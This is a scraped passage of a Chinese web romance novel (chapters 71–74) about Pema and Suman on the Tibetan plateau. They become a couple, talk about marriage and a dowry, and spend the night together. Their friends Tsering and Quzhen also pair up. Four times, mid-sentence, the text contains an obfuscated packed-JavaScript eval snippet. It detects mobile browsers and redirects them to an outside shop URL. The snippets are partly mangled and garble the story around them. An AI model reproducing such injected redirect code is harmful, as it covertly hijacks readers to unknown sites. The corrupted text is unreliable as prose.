苏曼坐在椅子上,看不到白玛的脸,只有他宽宽的肩膀,和腰间束起的红带子。 白玛转过头来,看着苏曼说: “姐姐,我本来是想着不卖完五百袋,就不回来的。让你等了这么多天,也没告诉你我回家了,我是怕你担心嘛,干着急嘛。而且,你等了我这么多天......我还是没有卖完五百袋......” “你说什么啊?” 苏曼觉得白玛说的语无伦次,不知道他在担心个什么。 “就是,你在等我嘛。我们在一起嘛。但是......你等了这么多天,我都没有完成。你懂不懂?” “......” 苏曼好像有些懂了。 大概就是说他愧疚让苏曼等了这么多天,本来等这么多天也是没问题的,反正卖完就回来嘛,他们两个就可以在一起了嘛。但是现在等了这么多天,却没有去卖饲料。 “怎么了,姐姐......” 白玛有些委屈,他也不知道自己在委屈个什么。可能是委屈,还不能和姐姐在一起吧。 “没什么,你没卖出去,我也会和你在一起的。我已经想好了。我那么说,就是给自己一个面子嘛。” “真的?” 白玛冲到苏曼的面前, “姐姐,我可以抱你吗?我好想你。” “这才几天啊。” 苏曼缓缓的站了起来,她依了白玛,白玛张开双臂,把她抱在了怀里。 苏曼扑在白玛的胸前,闻着他身上特有的味道。 她深深的吸了一口,这个怀抱,真的好温暖,好有安全感。是她特别特别喜欢的。 “我也喜欢你。”苏曼轻声的说, “嗯。”白玛紧了紧手,柔声道:“我知道,姐姐一定会喜欢我的。我们两个是分不开的。” 分开过,但是分不开。 白玛腾出手,解开了他那红色的腰带,将苏曼裹进了他的长袍。 “以后我都要这样抱着你。” 苏曼的身子全部都被紧紧的裹了起来,她探出脑袋问:“你真的不嫌弃我年纪大吗?” “笨蛋姐姐,我们两个年纪是一样的,你看,我们两个都没有谈过恋爱,都还是小孩子呢。” “我说的是年纪!” 苏曼还是有些担心和介意。 “不介意!我阿妈也不介意!” 白玛不停的摇着头,死死的盯着怀里的苏曼,他真的好想吻她。 他从来没有吻过人,也不知道吻一个人是什么滋味,当他有这个念头的时候,他的心跳的很快。 “你阿妈也知道我们......?” 苏曼皱着眉头,仰着头看着白玛,白玛抿着唇,眼里满是柔情,他紧张的不得了,心思全不在苏曼的问话上,他死死的盯着苏曼的唇。 苏曼一下子也紧张了起来,她舔了舔唇,白玛也跟着舔了舔唇。 一片湿润的唇,轻轻的覆了上来...... 两片唇碰在了一起,时空静止,万物眩晕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151037|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着一丝颤抖,幸福的泪水,从苏曼的眼角流淌了下来。 白玛伸出手,替她擦去了泪珠,继续捧着她的脸,将自己所有的深情,都化作了他的热唇,全部都给了苏曼。 他们一直没有停下来,这个青涩的吻,吻了好久好久。 白玛不愿停止,苏曼也不愿停止。他们想就这样,一直把自己交给对方。 苏曼想,白玛就是她的宿命吗? 白玛想,姐姐就是他的宿命。 他们也不知道吻了有多久,直到楼下打烊的声音传来,他们才停了下来。 白玛捧着苏曼的脸,温柔的说道: “姐姐,以后我就是你的人了。” 苏曼害羞的将自己埋进白玛宽厚的胸前,用无言默答了他。 她这辈子,有一个白玛,就够了。 “姐姐,你什么时候去我家?” 苏曼抬起头:“干嘛?” “去跟我阿妈说啊,说我嫁给你的事。” “啊?” “嗯。我想我们明年结婚,但是现在要先定下来。等我妹妹明年毕业了,我们就可以结婚了。” “这......是不是有点快了?” “怎么会呢!就是这样的啊。” 结婚,苏曼还真的没想好。 她这才刚接受了谈恋爱这件事而已,怎么一下子就要结婚了呢。 虽然,她也没想过别人,但是结婚,是一辈子的事啊。 “结婚的事,我还没想好。我现在只是答应做你的女朋友。” 白玛嘟起了嘴,他以为谈恋爱就是结婚啊,谈了以后不就是结婚嘛? “你是不是以后会不要我?” 委屈的白玛咬着下唇,两眼望着苏曼似要哭了出来,像是刚刚被人骗了一样。 苏曼忍不住想笑:“我可没想过那么远。” 白玛:“那就是有可能咯?” 苏曼:“万一......” 白玛:“没有万一!” 苏曼:“好好好,没有万一。” 苏曼没想过要离开白玛,但是现实让她不得不多想,凡事都难有绝对。 “那你什么时候去嘛?” 白玛不依不饶,生怕苏曼不要他了。 他可是很怕终于迈出这一步的姐姐,哪天又缩回去了。 “你让我好好想想嘛。你这么大个活人,我娶回家,后面怎么过,我都不知道呢。你知道的,我以前从来没想过要结婚。” “那是以前嘛,现在你有我了啊.....” 白玛害怕,害怕极了。姐姐的家庭对她的创伤,他能否治好。 “我嫁给你了,我可以跟你去任何地方,只要等明年妹妹毕业回家了,你要是在高原上不习惯,你想去哪我都跟着你。” “那你以后不骑马啦?” 离开高原,就是离开他最爱的马,最爱的草原,这对他来说,是很残忍的牺牲。 “不骑了,你是我最重要的,我就守着你。” 白玛认为,守护姐姐,就是他此生的宿命。 “你真傻。” 苏曼往白玛的怀里钻了钻,白玛又紧了紧,隔着长袍搂住了她的腰。 “什么傻,我爱你嘛,姐姐,我好爱你的。我要跟你生孩子。” ...... 白玛炽热的爱,叫苏曼安全感满满。她从来没有怀疑过白玛会离开她。 或许,他就是她的药。 72. 第72章 白玛每天带着苏曼到处走,去哪里都带着她,甚至去撒尼乡送货都要带着她。似乎生怕别人不知道,他终于和姐姐在一起了。 “白玛,女朋友索?” “是的呢。” 每一个这样问的人,白玛都咧着嘴害羞的回答,心里甜的要命,他恨不得一天有八百个人来这样问他。 “白玛,好久结婚嘛?” “明年嘛!等我妹妹毕业了嘛。” 他更喜欢别人问这个问题,他一遍一遍的不厌其烦的回答,似乎这样,他嫁给姐姐的事,就一定是跑不掉了。 苏曼越发的像个小女人,她看上去比实际年龄更小了,看上去也更加的柔弱了。她更加收起了自己的锋芒。 她缩在白玛高大的身后,也每日笑眯眯的对着各种来问的人点着头。 她不会说高原话,但是站在白玛的身后,哪怕不说话,她都感到无比的踏实。 白玛有时候会偷偷的拉一拉她的手,或者小小的搂一搂她的腰,甚至在车上的时候,他会一直拉着姐姐的手不放。 他更加不爱开自己的车了,因为姐姐的车是自动挡,他完全可以腾出一只手来,紧紧的握住姐姐的小手。 把手放在白玛宽大的手掌中,也是苏曼最喜欢的。 他们在外面偶尔的身体接触,都是小心翼翼的,毕竟这是害羞的高原,也是第一次谈恋爱的,害羞的两个人。 可是白玛不敢把姐姐带回村子,因为姐姐说还没有想好。如果他现在带回去,阿妈就会以为是要说结婚的事了。 “姐姐,现在不光是我在等你哦!我阿妈也在等你哦!” “等我啥啊?” “等你娶我啊!” ...... 白玛每日三句不离两句,都在求嫁。 苏曼本想放一放这个事情,可被扰得,不得不每日也去想这个问题,她仔细的想,也想不出她有什么理由拒绝。 这可是白玛啊,她最依赖的白玛啊,他单纯、阳光而又善良,坚定的保护着她的白玛啊。 此生,还能有谁是白玛。 苏曼想了好几天,直到扎西婚礼的到来。 次仁也来了。还是穿的他那身酷酷的黑色无领皮衣。 这段时间,他们俩个唯独没有去次仁的马场。 “恭喜啊兄弟。” 次仁对白玛说恭喜,白玛有些不好意思。他到处宣扬姐姐是他的女朋友,却唯独没有告诉次仁,也不知道他在怕什么。 “哎呀,你应该恭喜扎西嘛,今天是他结婚的日子。” 白玛拉了拉苏曼的手,苏曼缩了缩,今天来的人实在是太多了。 “你们两个很配,苏曼,我兄弟很适合你。” 这些日子,次仁早就看明白了,白玛才是最适合苏曼的人,从苏曼依赖的眼神中,他就看穿了这一切。 只是白玛开窍的晚些,但是他很勇敢,他勇敢的守护着苏曼,次仁觉得很好。 苏曼轻声的道了一声“谢谢”,又抬头和白玛对视了一眼。 白玛贴着苏曼,异常的兴奋。 “次仁,你今天怎么不给扎西做兄弟嘛。” “我不喜欢穿那个。” 次仁说的是高原上的传统服饰。 给新郎做兄弟,也就是伴郎,就要穿成那样,全副装饰的展示在所有人面前,来回迈着步子。 次仁不太喜欢这一套。 按理说白玛也是要来做兄弟的,但是奶奶去世了,这段时间他不可以唱歌,不可以跳舞。 像参加婚礼这种事情,也只是过来吃个饭,或者送个红包就可以走了。 但是今天他还是准备多呆一会儿,至少让扎西走出来,看到他来过了。 “姐姐,一会儿他们要跳舞,但是我不可以,奶奶那个了嘛。” “嗯嗯。” 苏曼没有像往常那样细问为什么,毕竟这是婚礼,讨论这些不太吉祥。 没过一会儿,曲珍也来了。她还是老样子,又迟到了。 不过她今天穿的也很朴素,上身只随意穿了一件灰色的带帽卫衣,下身一条深蓝色紧身牛仔裤,刚好衬出了她的大长腿。 次仁看见她,朝她点了点头,似是满意她今天的装扮。至少,他是愿意站在她的身边了。 “曲珍美女,你也来啦?” 今天来的小伙子不少,许多都是认识曲珍的。或者曾经追求过,或者计划想追求的。 有那么几个胆子大的,也过来跟曲珍打招呼。 他们并没有在意曲珍身边的次仁。 次仁,大家也都认识,但是也都知道次仁并没有答应曲珍,所以这些小伙子们,觉得自己还有机会。 反倒是曲珍,时不时的望一望次仁。 苏曼和白玛在一起了,她想知道,现在的他,对她,到底是什么态度。 次仁站的笔直,双手插在裤兜,认真的看着婚礼。 而白玛帮苏曼背着小包,依然围着苏曼在转,不一会儿,他们两个又不知道跑到哪里去了。 “认识你的人多哦。”次仁淡淡的说道, 曲珍楞了一秒,她没想到,次仁会这么说她,以往,他都是不理睬这些的。 “认识有什么用,我又不喜欢他们。” 次仁抿着唇,轻轻扯了扯嘴角,过了一会儿又问:“最近有马怀孕吗?” “啊?” 曲珍措手不及,好好的参加婚礼,怎么忽然问起工作来了。 “哦,好像有,但不太确定,再多看两天看看。” 曲珍的B超技术还不太过关,经验也不足,所以不太敢贸然说马儿已经怀上了。 “是嘛,那回去看看吧。” 说着次仁转身就走,看着楞在原地的曲珍,他舔了舔唇,抬着眉:“走啊!” 这......婚礼都不参加了?赶回去看马儿是否怀孕? 曲珍眨了眨眼,想了想,自己的红包已经给过了,嗯,好像确实是可以走了。 她抬起腿就跟着次仁往外走。 “你开车来了吗?”次仁问, “开啦。” 曲珍去哪里都是开车,怎么可能没有开车。 “我骑摩托车来的,骑摩托车去吧,快一点。” 摩托车比汽车要快,这也就是次仁。 “哦......” 曲珍丈二和尚摸不着头脑,不知道次仁葫芦里卖的是什么药,但是她也不敢问,就那么跟着次仁走去了他停着的摩托车那里。 次仁一抬腿,跨了上去,点着了火,他把长发向脑后拨了拨,然后回过头来看着曲珍, “上来啊。” 曲珍又是一愣,次仁要骑摩托车带她回马场?这真是幸福来的太快了吧。 曲珍瞪着漂亮的大眼睛看着次仁,次仁也盯着她看,似是在等她赶紧上车。 曲珍连忙也拨了拨头发,跨到了车后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167943|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “扶好了。”次仁向后说道, 曲珍轻轻的抓住了次仁的皮衣,次仁一拧油门,车子蹿了出去。 看马儿是否怀孕,有这么着急吗?还要飞车? 曲珍百思不得其解。 直到次仁把她的手拽了过去,放在了他的腰前...... 曲珍伸出两手,环抱住了次仁的腰,她将脸贴在次仁的背上。 次仁的长发,和她的长发,在风中交错,唱着高原上独有的情歌。 - 白玛带着苏曼在扎西的村子上转了一圈,又回到了婚礼现场,却发现次仁和曲珍已经走了。 “他们怎么回事?这么快就走了,也不打个招呼。” 扎西和次旦穿着新娘新郎的传统服装走了出来,现场热闹非凡,白玛激动不已,仿佛看到了自己出嫁的那一天。 “姐姐,到时候我嫁给你,也会穿成这样的。” 白玛贴着苏曼的身子,压低脑袋跟苏曼悄悄的说, “不是吧?那我咧?” 白玛瞪着黑溜溜的眼睛惊奇的望着苏曼:“你答应了?” 哎呀,苏曼说漏嘴了,她怎么也跟着讨论起自己的婚礼服装来了呢。 “不是,我是说,你嫁给一个汉族人,也要办你们这里的婚礼吗?” 总之,说不明白了。对,白玛嫁的是一个汉族人。那个汉族人,不是她还能有谁。 “什么汉族人,我是嫁给你。对,你也可以穿我们这里的衣服。不过,姐姐,我们可以另外拍一套婚纱照呢,我看他们有的人也是去兰城拍婚纱照的。” 白玛盯着苏曼的眼睛,想要她赶紧给她一个肯定的回答。 “你还研究的挺多的。” “哎呀,是嘛。你说是不是嘛?” 白玛的手悄悄的放在了苏曼的腰上,朝他的身上搂了搂,好在他们后面没有人,苏曼急急的将他的手扯了下来。 “你羞不羞?” 白玛一下子泄了气,他直挺挺的站在那里,扁着嘴万分委屈。 扎西结婚那么容易,他怎么就那么难。阿妈都同意了,还不用私奔,可是姐姐依然不敢结婚。 不是每个男人都像她父亲那样的,也不是每个父母都不爱孩子的。 白玛想,他一定会爱自己的孩子。 他还想跟苏曼生两个呢。一个男孩,一个女孩。让她知道,男孩和女孩,他都是一样爱的。 “姐姐,我会是一个好人的,我也会是一个好爸爸的。” 白玛低着头望着苏曼,认真的对她说。 苏曼别过头去看着地面,他什么都知道。 今天是扎西和次旦幸福的日子。 此刻,他们两个相爱,他们两个结婚,他们两个甚至已经怀孕要生娃,他们从来不去担心未来会发生什么。 只有此刻,他们是幸福的,就够了。 他们都比苏曼勇敢,最勇敢的人是白玛,他放弃一切,面对一切,和汉族的她在一起。 他从来都没有顾虑过那么多。 活在当下,不去思考未来,原来是那么难做到的。 “白玛,我知道你是个好人,也会是个好爸爸。你再给我点时间。” “嗯。我反正就是你的了,你要我等多久,我就等多久。” 白玛掏出手机,看了看次仁发来的两条微信: “兄弟,明天过来马场一趟,马怀孕了。” “带上苏曼一起。” 73. 第73章 马儿怀孕了,是个天大的好消息。 白玛和苏曼一早十点赶到马场。 走进马场,见曲珍一脸笑意的给他们拿吃的喝的,整个人不再拘束,放松的就像在自己家里一样。 不对劲。 苏曼疑着眉头看看次仁,次仁依然云淡风轻,但是目光却总是落在曲珍的身上。 他们两个好像是一对。 “不是,曲珍,你昨天回去了吗?”苏曼试探的问道, 曲珍看看次仁,次仁走到曲珍身边,搂着她的肩膀道: “她没回去。” “啊?” 苏曼和白玛同时张大了嘴。曲珍捂着嘴,害羞的笑着。 “你们两个......” “嗯。”次仁继续答道, 这种事情,当然不能由女孩子来说。 曲珍从昨天到今天,已经紧张又害羞的不行了,她甚至都不敢发任何朋友圈来宣示她的胜利。 “我天......” 白玛激动不已,没想到,最激动的人竟然是白玛。苏曼看着他一脸愕然。 “姐姐,你看,他们都在一起了,我们都还没在一起呢!” 白玛受不了了,次仁速度太快了,这小子,竟然一下子就弯道超车了。 “什么没在一起,我们不是在一起了嘛。” 苏曼没太明白,白玛抱怨的点在哪里。 次仁舔着嘴在笑,这个他可不好给苏曼解释。 白玛被苏曼这句话憋的说不出话来,他可怜巴巴的看着次仁,次仁满面春风得意,还有曲珍在一旁那娇羞的表情。 白玛感觉自己都快要爆炸了,他的姐姐还没有完全属于他。 次仁叫曲珍带大家去给母马看B超,苏曼兴致勃勃,白玛浑身一点劲都没有。 他的心思完全不在母马身上,他的心思全在姐姐身上。 姐姐这个木头,比他还木,他也不能怪姐姐,毕竟姐姐和他一样,都是从来没有谈过恋爱的。 但是生长在高原的白玛,听过的爱情故事,像天上的白云一样多。 身边的兄弟们,一个个都谈了女朋友,结婚的结婚,生孩子的生孩子。 只有他,好不容易碰上了姐姐,缘分来了,可姐姐比他还像木头。 他该怎么推着这根木头走呢? 白玛越看越烦躁,他不停的挠着他的那一头长发,挠的乱糟糟的,连苏曼都看不下去了。 “白玛,你怎么了呢?你咋这么着急上火的?” 苏曼以为白玛家里是不是有什么事,听说他要给家里修漏雨的屋顶,会不会是因为烦这个事? “没什么,热的呢。” 次仁挑了挑眉,他看着曲珍的手,拿着探头在母马的肚子上游走,他想起了昨夜,骄傲的曲珍原来都是摆给别人看的,在他面前,她柔弱的不像样子。 次仁又故作淡然的说:“曲珍,今晚你也别回去了哦。” 曲珍蚊子似的轻“嗯”了一声。 苏曼和曲珍同时泛起了一阵脸红,怎么回事,她竟然听这个会脸红。 一旁的白玛恶狠狠的瞪了次仁一眼,次仁压不住的嘴角,宣示着他最终的胜利。 白玛一把搂过苏曼的肩膀,又假装一起认真的看B超。 这一天,真是难熬。 白玛逃似的回了家。他先是把苏曼送回云上咖啡,然后闷闷不乐的回家,看他们家的那个屋顶。 师傅在家修屋顶,阿妈很是开心,至少白玛卖饲料,赚到钱了。 大舅舅也披着衣服过来看了看,他心疼自己的妹妹没有一个好房子,但好在现在白玛长大了。 “白玛,你可以哦,又赚到钱咯。” 大舅舅夸着白玛,一边给站在下面的另外一个师傅递烟。 “跟我女朋友赚的嘛。” 白玛大声的说,生怕大舅舅没有听的清楚。他跟阿妈对了个眼神,阿妈同意他了,可是大舅舅的态度一直没有很明确。 “噢,厉害哦。” 大舅舅语焉不详的回了一句,好像是放弃了的意思,他应该不会再管白玛了。 既然白玛妈妈都同意了,他也没有必要再跳出来阻止了。 更何况,他们两个现在一起做的事情,卖饲料,培育混血马,这都是很了不起的事情。 村上,有哪个人,能做这些事嘛?一个都没有嘛。 这还有什么理由去拒绝呢。 白玛跟汉族女孩在一起,能把日子过的好起来,能把屋顶修了,这就已经很好了。 白玛终于放下心来,大舅舅虽然没有明显的表达支持,但是也已经不再反对了。 “阿妈,以后我把马都留下来嘛,都留给妹妹换成牛嘛。我不要了哦。” 当着大舅舅的面,白玛想一次性把话说清楚。 分家,算是家里的大事。关于将来,他嫁出去,妹妹坐家,财产怎么分配,都趁着大舅舅在,一次性说清楚。 阿妈把宝贵的天珠给他,做他的嫁妆,他没有理由再要家里的财产了。 虽然这三十多匹马都是他养的,但是严格来说,这都算是家里的财产。 “你挑几匹喜欢的带走嘛,也不用全部留下嘛。” 白玛妈妈知道白玛最爱的是什么,他最爱的马,她愿意让他带走。 “哎呀,不要了嘛。我跟次仁兄弟在做混血马,以后有的是宝马嘛。我就把六匹母马先借走就行了,好马你们留到换牛嘛,让妹妹养牛蛮好的。” “可以可以,你反正还卖饲料嘛。白玛可以的,你就不用担心他了。” 大舅舅也开始加入了进来,他对这个分配很满意,也基本同意白玛嫁出去的事了。 “阿妈,明年我结婚可以不嘛?” 白玛十分害羞,声音小的只有白玛妈妈能听见,大舅舅走近门口,往里屋凑了凑。 “你自己看嘛,梅朵毕业了,你帮她把牛搞好嘛。” “可以嘛。” 白玛虽然没有在村子里说他跟姐姐在一起的事,但是乡里很大,秘密很少,村子里的人,早就知道他跟苏曼在一起了。 大舅舅把身上的衣服往上披了披,说:“你那么多马能换不少牛咧。” 白玛上次跟姐姐求嫁算嫁妆的时候,大概算了一下,一半马的话五十万是有的,三十多匹马大概有个一百万出头的样子。 他所有的马至少可以换一百多头牛了。 白玛妈妈也张着嘴笑,她跟梅朵往后的日子,白玛都已经打好基础了。 梅朵无论娶个什么样的老公进来,只要不败家,梅朵跟降措以后肯定是不会再吃白玛一样的苦了。 白玛妈妈欣慰的看着白玛,她的儿子,是个真正的草原男子汉! “哎哟,梅朵幸福咯,真看不出来哈,家里不声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173981|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不响的梅朵,竟然是最有福报的人。” 大舅舅知道梅朵是奶奶和白玛妈妈一起选定坐家的人,他也很认可。 梅朵马上就要成年了,她在这个家里一直默默的长大,最后接过了哥哥手中的棒子,却可以轻装上任。 而白玛,马上就要奔赴他自己的幸福了。他已经为这个家付出了许多。 “白玛,明年给你阿妈修个新房子嘛,这个房子差不多修修就可以啦。” 大舅舅越来越兴奋,他似乎已经看到了未来他们家,盖起了和他家一样漂亮的房子。 他一直默默的爱着自己的妹妹,拉扯着这一家子。 今天,他总算是展露了笑颜,不再是那么暮气沉沉了。 “要得嘛。” 白玛答应的很爽快,他对自己很有信心,他们家,竟然要有一百多头牛了。 白玛妈妈一旁呵呵的笑着,幸福来的太突然了。 大舅舅最后意犹未尽的回去了,白玛也是第一次见他这么高兴,他自己家房子盖好的时候,他都没有这么高兴过。 “白玛,德西跟她那个男朋友分手了你晓得不?” 白玛妈妈心情大好,竟然破天荒的跟白玛聊起了八卦来。 “这么快?我看他们在一起也没多久嘛。” “没办法嘛,那个男娃娃要坐家嘛,德西不愿意嫁过去,她想出来单过嘛。” 草原上的男女,分手的很多原因,就是坐家。 男的要坐家,女的要分家单过,就会无法结婚。坐家是辛苦活,出来单过,自由自在。 很多女生都倾向于出来单过,不想背负坐家的责任。 就比如洛绒表嫂,她从县城低嫁给洛绒表哥到这个村子上,就是因为洛绒表哥不需要坐家,他们很自由,赚的钱都是自己小家的,买的房子,也是自己家的。 但是坐家的责任,就太大了,嫁进来的儿媳妇,还要跟着一起照顾男方的父母,这个时代的新年轻人,很多是不愿意的。 无疑德西是积极拥抱新时代的。 她去赛马节做义工,去县上的朗玛厅打工,交一个县上的男朋友,为的就是脱离这个村庄,脱离牧场。 她向往新的自由的生活。 “那也很正常嘛。” 白玛想到姐姐,他如果要坐家,让姐姐嫁来村庄,也是不现实的。 很多被父母选定坐家的男孩子,最后都会妥协,选一个没什么文化,吃苦耐劳,甘愿勤勤恳恳照顾家庭的本地女子。 到最后,爱情变成了排在最后一位。 所以,作为继承者的坐家人,是有牺牲的。牺牲的就是自由,有时候,是选择爱情的自由。 白玛很幸运,不用坐家,为家庭劳苦的日子要到头了,他可以和姐姐一起去过他们两个人自己的生活。 他想早些嫁给姐姐,早些有自己的生活,有自己的事业,或许他还能跟着姐姐,去看看外面的世界。 白玛又想到次仁和曲珍,两个人都不用坐家,他们在一起,真是自由。 他想尽快去找苏曼,敲定他们的婚事,敲定他自己的自由。 他的自由在姐姐那里,在那些饲料那里,在他和次仁的马场里,在未来每一天的机会里。 明天他要去找次仁的二哥,问问饲料直播的事,还要找时间再去一趟林孜县。 最重要的,他还要去找姐姐,求姐姐娶他。 74. [锁] [此章节已锁] 次仁的二哥已经开始直播卖饲料了。 这跟他之前的风格有些不符,看上去还突兀。他之前也都只是直播聊天,偶尔打打PK,还从来没有带过货。 主要是也没人找他带货。毕竟他只是高原上的一个自娱自乐的小小网红。 但是能看的出,他很愿意做这个带货的事,虽然他带的不像其他网红那样,是“高大上”的吃喝玩乐的东西,而是草原上给马儿吃的“土鳖”饲料,但是至少,这是赚钱的活。 白玛安排次仁二哥每天晚上八点钟开始直播带货,至少要播两个小时,中间可以穿插他之前的那些聊天和打PK,以维持人气。 头几次白玛也跟着出了镜,讲解了一下饲料的营养与特点,到后面他就完全放手了。直播,对白玛来说,他是害羞的。 次仁二哥很卖力,有时候会播上四个小时,当上麦聊天的兄弟多的时候,他会一直播下去,甚至播到凌晨。 不得不佩服高原人的精力,似乎他们可以不睡觉。 当然,最主要也是他们白天并没有什么事情可做,熬夜对他们来说,也是娱乐的一种。 白玛又去了趟林孜县,把上次跟老板未谈完的事情,接着谈完,终于将那五百袋饲料定了出去。 在日落前,他匆忙的赶回,他想做最后一件事。 次仁和曲珍在一起的一幕幕,一直困扰着他,他要怎么样才能跟姐姐在一起呢。 回到县城,他转悠了很久,最后还是鼓足勇气,去了一家花店,定了一束花,这真是一件害羞的事情。 可是,他必须这么做,他只能想到这个。 追女孩子,他哪有什么经验。 他坐在车里,副驾放着那束花,他等了好久,想了好多该说的话,最后还是拖到了云上咖啡的打烊,才推开车门,拿起那束花,走了出去。 在路灯下,他望着楼上昏黄的灯光,苏曼肯定还没有睡,店里的人也都走了,接下来的时间,只有他们两个人。 “嗯,这样好。” 白玛在心里想着,不枉自己等了那么久,虽然只是因为紧张,才拖到了现在。 一切都是最好的安排,不是吗? 抱着花,白玛给苏曼发了个微信。 “姐姐,你到露台上来。” 他一直仰着头,盯着露台看,夜晚的风很大,他将长发全部别到耳后,又看了看手上的那一捧酒红色的玫瑰花。 天哪,真是太紧张了。 白玛害羞的心都在风中颤抖。 直到露台上那个小小的人儿站了出来,她惊讶的捂住了嘴,楞在了那里。 “姐姐!” “你......你怎么来了?你在干嘛?” 苏曼捂着嘴,似笑又哭,这个白玛,在搞什么鬼。 苏曼不是第一次收到别人的玫瑰花,但,这是第一次收到自己喜欢的男孩子的玫瑰花。 这种心情,怎么会这么感动。 爱情,难道这就是爱情吗。 “外面风大,你快上来。” 苏曼下楼开了门,将白玛迎了进来。 白玛的脸火辣辣的红,他的嘴唇似乎一直在颤抖,他努力的抿着唇,似笑非笑的盯着苏曼,竟然一句话都说不出。 苏曼缩起肩膀,也不知道该如何面对这种情况,只好伸手去接那捧玫瑰花。 “给我的吗?” “嗯......” 白玛舔了舔唇,郑重的将花交到苏曼的手里,苏曼接过花捧在手里。白玛不知道接下来该干什么,局促的盯着那捧花看。 苏曼也很紧张,为了掩饰这种紧张,她钻进柜台,东翻西找,终于找出个小一些的不锈钢盆,将花斜放了进去,然后摆在了台面上。 “摆这可以吗?” “挺好的。” 这样白天来的人,就能看见这束漂亮的玫瑰花了。 待苏曼出来,白玛拉住了苏曼的手,深情的望着她,然后把她抱进了自己的怀里。 “姐姐,我今天去卖饲料了,五百袋都卖完了。” “你去林孜了?” “嗯。” 苏曼靠在白玛的怀里,不知道他从林孜回来,为何会突然半夜给她送花。 她的脸被白玛捧起,柔软的唇覆了上来,他吻的很深情,很温柔,很缓慢,似要将这时间,在唇间慢慢流淌。 苏曼仰着头附和着他,腰被他的一只大手托住,另一只手捧着她的脸。 这个男子,让她滚烫。 又不知道吻了多久,在眩晕间,苏曼听到一句细小的声音: “姐姐,今晚我不走了,可以吗?” 无法拒绝。他低沉苏柔的声音,伴着温热柔软的唇,就似一剂麻药,麻的苏曼发不出声音。 无声,就是最好的回答。 他轻轻的咬了一下她的下唇,接着苏曼整个身子被横抱了起来,被他抱着一步一步迈上了阶梯,往楼上走去。 苏曼羞的不知道往哪里躲,只好将脸深埋在白玛宽厚的胸前,他们今晚要在一起了。 两个人的心,“咚咚咚”的跳动着,似是即将迎接什么神圣的仪式。 白玛将苏曼抱进房间,温柔的放在床上,轻声说了句: “我去洗个澡。” 这家伙,竟然还知道要洗澡。 苏曼缩进被子,将头继续埋着,丝毫不敢看任何。 待白玛走出门去,听到浴室水哗哗的声音,苏曼想了想,赶紧起床把屋里的灯关掉,窗帘拉上,只留一个小缝,透进淡淡月光。 当浴室里的水声停了,苏曼缩在被子里一动不敢动,只听房门被打开,白玛站在熄了灯的屋内停了几秒,似乎也在做着心理建设。 姐姐把灯熄了,正好,他也很害羞。 白玛摸索着把衣服脱了,小心翼翼的钻进了被子里。 姐姐离他有些远,他顿了顿,凑过去将姐姐抱住,寻着她的唇吻了起来。 在这漆黑寂静的夜,无人打搅的夜,月色正好...... 整整一夜,白玛来回翻动,一次次闷声缠着姐姐不让停歇。 他怎么有那么多的劲。 直到月光落下,换做蒙白晨光,从窗帘的缝隙透进来,苏曼才疲惫的睡去。 睡到昏醒,白玛又开始了新一轮的攻城略地,被窝里的热乎气又被掀了个凉风起伏。 苏曼摸来手机一看,堪堪不过才刚睡了两个小时。 日上三竿,晨光换做阳光,洒进了这个中午的屋内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182726|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏曼摸着白玛的鼻子,那高挺的鼻子;摸着他的肌肤,那黝黑滑亮的肌肤;摸着他的唇,那饱满柔软的唇。 这一切都是她的。 白玛满怀抱着苏曼,将下巴抵在她的头顶,一只手摩挲着姐姐的手臂,肌肤细嫩洁白有弹性。 “姐姐,我爱你哦。” 苏曼仰起头,她终于敢在这坦诚相见之时,迎着他灼热的目光。 “我也爱你。白玛。” 她得到了他一个厚实的吻。 两个人就这样抱着躺了好久,直到肚子里发出“咕噜咕噜”的声音。 “哎呀,该吃饭了吧。” 苏曼想爬起来,却被白玛又搂了回去。 “一会儿我去买个外卖回来吧。” 白玛只想这样和姐姐腻在一起,今天他什么都不想做,什么也无心去做了。 “好。” 苏曼也无力走出这个房门了。 这柔软的床单,温暖的被子,就是他们最爱的地方。 